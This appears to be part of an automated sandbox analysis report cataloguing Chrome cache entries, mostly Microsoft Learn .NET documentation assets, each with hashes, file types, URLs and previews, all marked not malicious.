SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	195719
Entropy (8bit):	5.430057012529021
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVli2:Wof3G0NSkNzMeO7z/l3lh
MD5:	9445D8D43537540BC89651C93A9C3832
